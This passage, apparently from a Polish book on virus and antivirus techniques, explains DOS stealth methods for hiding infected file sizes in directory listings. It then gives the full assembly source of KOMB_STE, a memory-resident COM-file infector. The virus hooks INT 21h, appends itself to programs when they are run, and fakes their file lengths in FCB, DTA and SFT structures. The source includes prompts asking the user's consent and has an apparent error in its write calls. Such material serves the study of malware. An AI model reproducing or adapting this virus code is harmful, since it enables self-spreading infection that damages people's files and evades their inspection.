> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w
odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty,
będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są
oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych
specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody
operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control
Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu,
zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area),
których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku
FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe
pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym
blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza
go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu
pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola
długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
Adres

Zawartość

00

numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok
opisu pliku FCB

01-08

8 bajtów nazwy pliku

09-0B

3 bajty rozszerzenia pliku

0C-0D

numer aktualnego bloku

0E-0F

długość logicznego rekordu

10-13

długość pliku

14-15

data ostatniej modyfikacji pliku

16-17

czas ostatniej modyfikacji pliku

18

ilość SFT dla pliku

19

atrybuty, znaczenie bitów
bity 7-6
00 - SHARE.EXE niezaładowany, plik dyskowy
01 - SHARE.EXE niezaładowany, sterownik
10 - SHARE.EXE załadowany, plik zdalny
11 - SHARE.EXE załadowany, plik dyskowy
lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów

1A-1F

zawartość zależna od pola 19, bity 7-6
wartość 11
1A-1B numer pierwszej JAP pliku

background image

1C-1D określa numer rekordu w dostępie dzielonym
1E atrybuty pliku
1F nie używane wartość
10
1A-1B uchwyt w sieci
1C-1F ID w sieci wartość
01
1A-1D wskaźnik do nagfówka sterownika
1E-1F nie używane
wartość 00
1A bajt informacyjny
bit 7: atrybut tytko do odczytu w SFT
bit 6: atrybut archiwalności w SFT
bity 5-0: wyższe bity numeru sektora
1B-1C numer pierwszej JAP pliku
1D-1F niższe bity sektora zawierającego adres w katalogu
1F ilość pozycji katalogu w sektorze

20

bieżący rekord

21-24

numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów,
bardziej znacząca część jest pomijana


Struktura bloku opisu pliku FCB (rozszerzonego)
Adres

Zawartość

00

wartość OFFh oznacza blok rozszerzony

01-05

zarezerwowane

06

atrybuty pliku

07-2B

zwykły blok opisu FCB (patrz poprzednia tabela)

Struktura pola opisu pozycji katalogu
Adres

Zawartość

00-07

nazwa pliku

08-0A

rozszerzenie pliku

0B

atrybuty pliku

0C-15

zarezerwowane

16-17

czas ostatniej modyfikacji pliku

18-19

data ostatniej modyfikacji pliku

1A-1B

numer pierwszej JAP

1C-1F

długość pliku

7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS,
Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki
rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania
tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji
katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się
natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji,
należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie

background image

odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-
1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
Adres

Zawartość

00

znaczenie bitów:
bity 6-0 numer napędu
bit 7 ustawiony, oznacza plik zdalny

01-0B

szablon poszukiwanych pozycji katalogu

0C

atrybuty poszukiwanej pozycji

0D-0E

numer wejścia w katalogu

0F-10

numer JAP katalogu nadrzędnego

11-14

zarezerwowane

15

atrybut znalezionej pozycji katalogu

16-17

czas ostatniej modyfikacji znalezionej pozycji katalogu

18-19

data ostatniej modyfikacji znalezionej pozycji katalogu

1A-1D

długość znalezionej pozycji katalogu

1E-2A

nazwa i rozszerzenie pliku

7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz
polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików,
którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi
długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows
oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21),
gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich
podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a
dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości
katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na
wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane
funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-
DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym
obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-
bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje
poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla
systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku
KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada
funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta
większość programów działających w systemie Windows 95, m.in. Explorator, a także
różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie
pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma
wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku
KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy
zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL

background image

w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie
tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla
Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych
ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia
się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić,
czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
Adres

Zawartość

00-03

atrybuty pliku
bity 0-6 standardowe atrybuty plików DOS
bit 8 plik tymczasowy (temporary)

04-0B

czas i data utworzenia pliku

0C-13

czas i data ostatniego dostępu do pliku

14-1B

czas i data ostatniej modyfikacji pliku

1C-1F

długość pliku (bardziej znaczące 32 bity)

20-23

długość pliku (mniej znaczące 32 bity)

24-2B

zarezerwowane

2C-12F

260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ)

130-13D

14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ)

7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać
także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość
katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie
infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż
nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem
(klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka).
Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną
infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie
odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w
pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący
plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie
procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w
poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem
wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie,
często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku
zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego
długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus,
jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać
jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na
końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są
dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na
wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table),

background image

zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka
podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku
uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy
jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich
użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki
otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej
dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h ; weƒ adres tablicy JFT zawieraj╣cej numer SFT,
; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku
INT 2Fh ; wywo│aj funkcjÛ
MOV BL,ES:[DI] ; weƒ numer tablicy SFT
MOV AX,1216h ; weƒ adres tablicy SFT na podstawie numeru w BL
INT 2Fh ; wywo│aj funkcjÛ ES:DI wskazuje na tablicÛ SFT pliku

Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy
SFT podano poniżej:
Format podtablicy SFT
Adres

Zawartość

00-03

Wskaźnik do następnej podtablicy

04

N - liczba plików w podtablicy

06-40

Opis pliku nr 1 w podtablicy - patrz następna tablica
Opis pliku nr N w podtablicy


Opis pliku zawarty w tablicy SFT
Adres

Zawartość

00-01

Liczba łączników do pliku

02-03

Tryb

04

Atrybut pliku

05-06

Informacja o pliku

07-0A

Wskaźnik do nagłówka programu obsługi lub do bloku DPB

0B-0C

Pierwsza JAP pliku

0D-0E

Czas ostatniej modyfikacji pliku

0F-11

Data ostatniej modyfikacji pliku

11-14

Rozmiar pliku

15-18

Aktualna pozycja wskaźnika odczytu/zapisu pliku

19-1A

Względny numer JAP

1B-1E

Położenie elementu katalogu opisującego plik

20-2A

Nazwa i rozszerzenie pliku

2B-2E

Wskaźnik do poprzedniego elementu SFT (pole programu SHARE)

2F-30

Numer komputera w sieci (pole programu SHARE)

31-32

Adres właściciela pliku (jego PSP)

33-34

Położenie w obszarze roboczym listy zablokowanych regionów pliku
(pole programu SHARE)

35-36

Numer JAP

background image

37-3A

Wskaźnik do IFS pliku lub 00000000h

Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia
DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ;
; ;
;----------------------------------------------------------------------------;
; Informacje Techniczne ;
;----------------------------------------------------------------------------;
; ;
; Wirus oszukuje uzytkownika w nastepujacy sposob : ;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
; pomoca polecenia DIR ;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
; pomoca nakladek typu Dos Navigator, Norton Commander ;
; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ;
; (plik jest sztucznie "ucinany" w tablicy SFT ) ;
; ;
; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ;
; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ;
; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ;
; informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;
; zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ;
; iz wirus jest juz zainstalowany w pamieci. ;
; ;
; Kompilacja : ;
; TASM KOMB_STE.ASM ;
; TLINK /t KOMB_STE.OB J ;
; ;
;----------------------------------------------------------------------------;
JUMPS
KOMB_STE SEGMENT
ASSUME CS:KOMB_STE, DS:KOMB_STE
ORG 100h

Haslo = 0BACAh ; \ do sprawdzenia czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci

NUL = 00h ; \
LF = 0Ah ; - stale znakow

background image

CR = 0Dh ; /

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywana przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc struktury
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends

DIRStruc struc
DIRDrv db ? ; numer napedu
DIRName db 8 dup(?) ; nazwa znalezionej pozycji
DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji
DIRAttr db ? ; atrybut znalezionej pozycji
DIRRes db 10 dup(?) ; zarezerwowane
DIRTime dw ? ; czas znalezionej pozycji
DIRDate dw ? ; data znalezionej pozycji
DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji
DIRSize dd ? ; dlugosc znalezionej pozycji
DIRStruc ends

SFTStruc struc
SFTCntHnd dw ? ; ile uchwytow do pliku
SFTOpMode dw ? ; tryb otwarcia pliku
SFTAttr db ? ; atrybut pliku
SFTDevAttr dw ? ; informacja o urzadzeniu
SFTDevPtr dd ? ; adres do naglowka sterownika
; lub do DPB
SFTStartJAP dw ? ; poczatkowa JAP pliku
SFTTime dw ? ; czas pliku
SFTDate dw ? ; data pliku
SFTSize dd ? ; dlugosc znalezionej pozycji
SFTPos dd ? ; wskaznik odczytu/zapisu
SFTRes db 7 dup(?) ; pola nieistotne
SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku
SFTStruc ends

background image

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16

Start: ; poczatek wirusa

PoczatekWirusa: ; pomocnicza etykieta

Call Trik ; zapisz na stosie relatywny ofset
Trik:

pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa

mov ax,Haslo ; \ sprawdz, czy wirus jest
int 21h ; / juz w pamieci

cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela

InstalacjaWPamieci: ; poczatek instalacji

lea di,TeCopyRight ; \ wyswietl info o wirusie
Call DrukSI ; /

lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce
Call DrukSI ; \ zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac

mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje

mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)

mov ax,ds ; przywroc ES

background image

mov es,ax ; AX=ES=DS=CS=SS=PSP

dec ax ; AX=ES-1=MCB aktualnego bloku pamieci
mov ds,ax ; DS=blok MCB aktualnego bloku pamieci
mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa

mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje

mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic

mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiowac
cld ; zwiekszaj SI, DI w REP MOVSB

push si ; SI bedzie zmieniany wiec zachowaj
add si,offset PoczatekWirusa ; dodaj skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset

mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy
sub ax,0Fh ; \ DS=adres bloku-10h
mov ds,ax ; \ sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)

mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje

push cs ; \ wyswietl komunikat o
pop ds ; \ instalacji w pamieci
lea di,TeZainstalowany ; \ i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /

PowrocDoNosiciela: ;
push cs cs ; \ przywroc DS=ES=CS=PSP

background image

pop ds es ; /

mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty
mov ds:[100h],al ; \ programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /

mov ax,100h ; \ zachowaj na stosie slad do
push ax ; / adresu 100h

xor ax,ax ; \ dla bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /

ret ; powroc do nosiciela

PytanieOInstalacje: ; \ odpowiedz rezydujacego
xchg al,ah ; - wirusa (na pytanie czy jest
iret ; / w pamieci)

NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany

cmp ah,11h ; \ czy funkcje przeszukiwania ?
je STEALTH_11_12 ; \ katalogu uzywane przez
cmp ah,12h ; / polecenie DIR ?
je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba

cmp ah,4Eh ; \ czy funkcje przeszukiwania ?
je STEALTH_4E_4F ; \ katalogu uzywane przez
cmp ah,4Fh ; / nakladki ?
je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba

cmp ah,3Dh
je STEALTH_3D

jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan

STEALTH_3D:
call UstawNowe24 ; ustaw obsluge bledow krytycznych

background image

Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_3D_Powrot2 ; CF=1 to blad

pushf ; \ zachowaj wartosci rejestrow
push es ax bx di ; / zmienionych przez wywolanie

mov bx,ax ; BX zawiera uchwyt (numer) pliku
mov ax,1220h ; wez adres tablicy JFT
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad

mov bl,es:[di] ; wez numer tablicy SFT
mov bh,0 ; BX=BL
mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad

cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne

cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany

cmp word ptr es:[di][SFTSize],DlugoscWirusa
jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_3D:
sub word ptr es:[di][SFTSize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[di][SFTSize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_3D_Powrot:

pop di bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow

STEALTH_3D_Powrot2:

Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem ustawionych znacznikow

; ES:DI wskazuje na tablicÓ SFT pliku

background image

STEALTH_11_12:
call UstawNowe24 ; ustaw obsluge bledow krytycznych

Call StareInt21 ; wywolaj stare przerwanie 21h
or al,al ; CZY AL=0
jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad

pushf ; \ zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie

mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h

cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ?
jne ZwyklyFCB ; NIE - zwykly FCB

add bx,7 ; dodaj przesuniecie
; teraz ES:BX=wskazuje na zwykly FCB
ZwyklyFCB:

cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne

cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany

cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa
; TAK - moze miec wirusa
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_11_12:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_11_12_Powrot:

pop bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow

STEALTH_11_12_Powrot2:

Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem ustawionych znacznikow

background image

STEALTH_4E_4F:
call UstawNowe24 ; ustaw obsluge bledow krytycznych

Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad

pushf ; \ zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie

mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h

cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne

cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany

cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_4E_4F:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_4E_4F_Powrot:

pop bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow

STEALTH_4E_4F_Powrot2:

Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem ustawionych znacznikow

InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry

mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /

background image

call UstawNowe24

mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; CF=1 blad wiec powrot

mov cs:Atrybut,cl ; wez stary atrybut

mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut

mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej

cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot

push cs ; \ DS=CS=segment wirusa
pop ds ; /

mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h

background image

jc ZamknijPlik ; gdy CF=1, to blad

; DX = starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; NIE - nie infekuj

cmp ax,64000 ; czy dlugosc <= 64000 ?
ja ZamknijPlik ; NIE - nie infekuj

cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; NIE - nie infekuj

sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku

lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika
Call Druk ; \ czy chce zainfekowac
; \ plik
mov di,cs:StaryDX ; \ nazwa pliku jest
mov ds,cs:StaryDS ; \ wyswietlana
Call Druk ; \
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala

mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1 to blad

mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

background image

mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h

ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h

PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; \ podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; / w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h

Call PrzywrocStare24

pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry

PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
